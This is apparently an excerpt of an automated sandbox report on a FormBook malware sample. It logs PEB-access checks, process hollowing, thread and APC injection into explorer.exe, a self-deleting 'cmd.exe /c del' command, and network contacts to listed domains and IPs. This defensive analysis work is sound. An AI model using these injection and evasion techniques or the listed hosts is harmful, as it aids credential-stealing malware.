Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045BA70E mov eax, dword ptr fs:[00000030h]		7_2_045BA70E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0465070D mov eax, dword ptr fs:[00000030h]		7_2_0465070D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0465070D mov eax, dword ptr fs:[00000030h]		7_2_0465070D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045BE730 mov eax, dword ptr fs:[00000030h]		7_2_045BE730
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0461FF10 mov eax, dword ptr fs:[00000030h]		7_2_0461FF10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0461FF10 mov eax, dword ptr fs:[00000030h]		7_2_0461FF10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04584F2E mov eax, dword ptr fs:[00000030h]		7_2_04584F2E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04584F2E mov eax, dword ptr fs:[00000030h]		7_2_04584F2E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C37F5 mov eax, dword ptr fs:[00000030h]		7_2_045C37F5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04598794 mov eax, dword ptr fs:[00000030h]		7_2_04598794
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04607794 mov eax, dword ptr fs:[00000030h]		7_2_04607794
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04607794 mov eax, dword ptr fs:[00000030h]		7_2_04607794
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04607794 mov eax, dword ptr fs:[00000030h]		7_2_04607794
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045A0050 mov eax, dword ptr fs:[00000030h]		7_2_045A0050
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045A0050 mov eax, dword ptr fs:[00000030h]		7_2_045A0050
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04651074 mov eax, dword ptr fs:[00000030h]		7_2_04651074
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04642073 mov eax, dword ptr fs:[00000030h]		7_2_04642073
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04654015 mov eax, dword ptr fs:[00000030h]		7_2_04654015
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04654015 mov eax, dword ptr fs:[00000030h]		7_2_04654015
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0459B02A mov eax, dword ptr fs:[00000030h]		7_2_0459B02A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0459B02A mov eax, dword ptr fs:[00000030h]		7_2_0459B02A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0459B02A mov eax, dword ptr fs:[00000030h]		7_2_0459B02A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0459B02A mov eax, dword ptr fs:[00000030h]		7_2_0459B02A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04607016 mov eax, dword ptr fs:[00000030h]		7_2_04607016
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04607016 mov eax, dword ptr fs:[00000030h]		7_2_04607016
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04607016 mov eax, dword ptr fs:[00000030h]		7_2_04607016
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B002D mov eax, dword ptr fs:[00000030h]		7_2_045B002D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B002D mov eax, dword ptr fs:[00000030h]		7_2_045B002D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B002D mov eax, dword ptr fs:[00000030h]		7_2_045B002D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B002D mov eax, dword ptr fs:[00000030h]		7_2_045B002D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B002D mov eax, dword ptr fs:[00000030h]		7_2_045B002D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0461B8D0 mov eax, dword ptr fs:[00000030h]		7_2_0461B8D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0461B8D0 mov ecx, dword ptr fs:[00000030h]		7_2_0461B8D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0461B8D0 mov eax, dword ptr fs:[00000030h]		7_2_0461B8D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0461B8D0 mov eax, dword ptr fs:[00000030h]		7_2_0461B8D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0461B8D0 mov eax, dword ptr fs:[00000030h]		7_2_0461B8D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0461B8D0 mov eax, dword ptr fs:[00000030h]		7_2_0461B8D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045858EC mov eax, dword ptr fs:[00000030h]		7_2_045858EC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04589080 mov eax, dword ptr fs:[00000030h]		7_2_04589080
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045BF0BF mov ecx, dword ptr fs:[00000030h]		7_2_045BF0BF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045BF0BF mov eax, dword ptr fs:[00000030h]		7_2_045BF0BF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045BF0BF mov eax, dword ptr fs:[00000030h]		7_2_045BF0BF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04603884 mov eax, dword ptr fs:[00000030h]		7_2_04603884
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04603884 mov eax, dword ptr fs:[00000030h]		7_2_04603884
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C90AF mov eax, dword ptr fs:[00000030h]		7_2_045C90AF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B20A0 mov eax, dword ptr fs:[00000030h]		7_2_045B20A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B20A0 mov eax, dword ptr fs:[00000030h]		7_2_045B20A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B20A0 mov eax, dword ptr fs:[00000030h]		7_2_045B20A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B20A0 mov eax, dword ptr fs:[00000030h]		7_2_045B20A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B20A0 mov eax, dword ptr fs:[00000030h]		7_2_045B20A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B20A0 mov eax, dword ptr fs:[00000030h]		7_2_045B20A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045AB944 mov eax, dword ptr fs:[00000030h]		7_2_045AB944
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045AB944 mov eax, dword ptr fs:[00000030h]		7_2_045AB944
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0458B171 mov eax, dword ptr fs:[00000030h]		7_2_0458B171
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0458B171 mov eax, dword ptr fs:[00000030h]		7_2_0458B171
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0458C962 mov eax, dword ptr fs:[00000030h]		7_2_0458C962
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04589100 mov eax, dword ptr fs:[00000030h]		7_2_04589100
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04589100 mov eax, dword ptr fs:[00000030h]		7_2_04589100
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04589100 mov eax, dword ptr fs:[00000030h]		7_2_04589100
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B513A mov eax, dword ptr fs:[00000030h]		7_2_045B513A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B513A mov eax, dword ptr fs:[00000030h]		7_2_045B513A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045A4120 mov eax, dword ptr fs:[00000030h]		7_2_045A4120
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045A4120 mov eax, dword ptr fs:[00000030h]		7_2_045A4120
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045A4120 mov eax, dword ptr fs:[00000030h]		7_2_045A4120
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045A4120 mov eax, dword ptr fs:[00000030h]		7_2_045A4120
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045A4120 mov ecx, dword ptr fs:[00000030h]		7_2_045A4120
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_046141E8 mov eax, dword ptr fs:[00000030h]		7_2_046141E8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0458B1E1 mov eax, dword ptr fs:[00000030h]		7_2_0458B1E1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0458B1E1 mov eax, dword ptr fs:[00000030h]		7_2_0458B1E1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0458B1E1 mov eax, dword ptr fs:[00000030h]		7_2_0458B1E1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_046069A6 mov eax, dword ptr fs:[00000030h]		7_2_046069A6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B2990 mov eax, dword ptr fs:[00000030h]		7_2_045B2990
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045AC182 mov eax, dword ptr fs:[00000030h]		7_2_045AC182
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045BA185 mov eax, dword ptr fs:[00000030h]		7_2_045BA185
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_046051BE mov eax, dword ptr fs:[00000030h]		7_2_046051BE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_046051BE mov eax, dword ptr fs:[00000030h]		7_2_046051BE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_046051BE mov eax, dword ptr fs:[00000030h]		7_2_046051BE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_046051BE mov eax, dword ptr fs:[00000030h]		7_2_046051BE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B61A0 mov eax, dword ptr fs:[00000030h]		7_2_045B61A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B61A0 mov eax, dword ptr fs:[00000030h]		7_2_045B61A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0463B260 mov eax, dword ptr fs:[00000030h]		7_2_0463B260
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0463B260 mov eax, dword ptr fs:[00000030h]		7_2_0463B260
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04658A62 mov eax, dword ptr fs:[00000030h]		7_2_04658A62
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04589240 mov eax, dword ptr fs:[00000030h]		7_2_04589240
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04589240 mov eax, dword ptr fs:[00000030h]		7_2_04589240
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04589240 mov eax, dword ptr fs:[00000030h]		7_2_04589240
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04589240 mov eax, dword ptr fs:[00000030h]		7_2_04589240
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C927A mov eax, dword ptr fs:[00000030h]		7_2_045C927A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0464EA55 mov eax, dword ptr fs:[00000030h]		7_2_0464EA55
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04614257 mov eax, dword ptr fs:[00000030h]		7_2_04614257
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045A3A1C mov eax, dword ptr fs:[00000030h]		7_2_045A3A1C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04585210 mov eax, dword ptr fs:[00000030h]		7_2_04585210
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04585210 mov ecx, dword ptr fs:[00000030h]		7_2_04585210
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04585210 mov eax, dword ptr fs:[00000030h]		7_2_04585210
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04585210 mov eax, dword ptr fs:[00000030h]		7_2_04585210
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0458AA16 mov eax, dword ptr fs:[00000030h]		7_2_0458AA16
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0458AA16 mov eax, dword ptr fs:[00000030h]		7_2_0458AA16
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04598A0A mov eax, dword ptr fs:[00000030h]		7_2_04598A0A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C4A2C mov eax, dword ptr fs:[00000030h]		7_2_045C4A2C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C4A2C mov eax, dword ptr fs:[00000030h]		7_2_045C4A2C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B2ACB mov eax, dword ptr fs:[00000030h]		7_2_045B2ACB
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B2AE4 mov eax, dword ptr fs:[00000030h]		7_2_045B2AE4
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045BD294 mov eax, dword ptr fs:[00000030h]		7_2_045BD294
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045BD294 mov eax, dword ptr fs:[00000030h]		7_2_045BD294
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0459AAB0 mov eax, dword ptr fs:[00000030h]		7_2_0459AAB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0459AAB0 mov eax, dword ptr fs:[00000030h]		7_2_0459AAB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045BFAB0 mov eax, dword ptr fs:[00000030h]		7_2_045BFAB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045852A5 mov eax, dword ptr fs:[00000030h]		7_2_045852A5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045852A5 mov eax, dword ptr fs:[00000030h]		7_2_045852A5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045852A5 mov eax, dword ptr fs:[00000030h]		7_2_045852A5

Enables debug privileges

Source: C:\Users\user\Desktop\RCS76393.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: www.libreo.club
Source: C:\Windows\explorer.exe	Domain query: www.breathharbour.net
Source: C:\Windows\explorer.exe	Domain query: www.generalflix.com
Source: C:\Windows\explorer.exe	Domain query: www.vbkulkarni.com
Source: C:\Windows\explorer.exe	Domain query: www.pimpmyrecipe.com
Source: C:\Windows\explorer.exe	Domain query: www.csgo-roll.net
Source: C:\Windows\explorer.exe	Network Connect: 85.159.66.93 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.161.84.100 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 94.46.9.37 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.addthat.xyz
Source: C:\Windows\explorer.exe	Network Connect: 199.59.242.153 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.foodsystemsjusticeproject.com
Source: C:\Windows\explorer.exe	Domain query: www.batiktintaemas.com
Source: C:\Windows\explorer.exe	Network Connect: 198.185.159.144 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 193.168.194.206 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.ronwongart.com
Source: C:\Windows\explorer.exe	Network Connect: 104.160.174.177 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.evecrude.xyz
Source: C:\Windows\explorer.exe	Domain query: www.ly-iot.com

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\RCS76393.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\RCS76393.exe	Section loaded: unknown target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\RCS76393.exe	Section loaded: unknown target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write			Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\RCS76393.exe	Thread register set: target process: 3440			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread register set: target process: 3440			Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\RCS76393.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\RCS76393.exe

Section unmapped: C:\Windows\SysWOW64\msiexec.exe base address: 1A0000

Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\Desktop\RCS76393.exe	Process created: C:\Users\user\Desktop\RCS76393.exe 'C:\Users\user\Desktop\RCS76393.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\RCS76393.exe'			Jump to behavior

May try to detect the Windows Explorer process (often used for injection)

Source: explorer.exe, 00000005.00000000.338938773.0000000004F80000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.329924999.0000000000EE0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.329924999.0000000000EE0000.00000002.00000001.sdmp	Binary or memory string: &Program Manager
Source: explorer.exe, 00000005.00000000.329924999.0000000000EE0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Contains functionality to query local / system time

Source: C:\Users\user\Desktop\RCS76393.exe

Code function: 2_2_0040B530 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

2_2_0040B530

Stealing of Sensitive Information:

Yara detected FormBook

Source: Yara match	File source: 00000003.00000001.324919242.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.587150105.0000000000480000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.362951284.0000000000D00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.362449000.0000000000990000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.326066867.0000000003F40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.587988322.00000000030A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.362232664.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.590270038.0000000004890000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.1.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Source: Yara match	File source: 00000003.00000001.324919242.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.587150105.0000000000480000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.362951284.0000000000D00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.362449000.0000000000990000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.326066867.0000000003F40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.587988322.00000000030A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.362232664.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.590270038.0000000004890000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.1.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE